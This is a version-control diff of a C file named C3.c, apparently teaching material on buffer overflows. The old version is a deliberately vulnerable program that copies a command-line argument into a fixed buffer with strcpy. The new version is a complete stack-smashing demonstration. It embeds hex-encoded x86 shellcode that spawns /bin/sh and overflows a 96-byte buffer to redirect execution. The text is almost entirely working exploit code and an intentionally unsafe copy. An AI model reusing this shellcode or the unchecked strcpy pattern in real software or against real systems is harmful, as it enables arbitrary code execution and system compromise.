progs/C3.c
changeset 230 603cbd28e988
parent 105 40c51038c9e4
child 400 f05368d007dd
equal deleted inserted replaced
229:ea921d6a1819 230:603cbd28e988
     1 #include<stdio.h>
     1 char shellcode[] =
     2 #include<string.h>
     2   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
       
     3   "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
       
     4   "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
       
     5   "\xff\xff/bin/sh";
       
     6 char large_string[128];
     3 
     7 
     4 // simple program used for a bufferflow attack
     8 void main() {
     5 //
     9   char buffer[96];
     6 // for installation notes see C0.c
    10   int i;
     7 //
    11   long *long_ptr = (long *) large_string;
     8 // can be called with 
       
     9 //
       
    10 //   ./C3 `./args3`
       
    11 
    12 
    12 main(int argc, char **argv)
    13   for (i = 0; i < 32; i++)
    13 {
    14     *(long_ptr + i) = (int) buffer;
    14         char buffer[80];
       
    15 
    15 
    16         strcpy(buffer, argv[1]);
    16   for (i = 0; i < strlen(shellcode); i++)
       
    17     large_string[i] = shellcode[i];
    17 
    18 
    18         return 1;
    19   strcpy(buffer,large_string);
    19 }
    20 }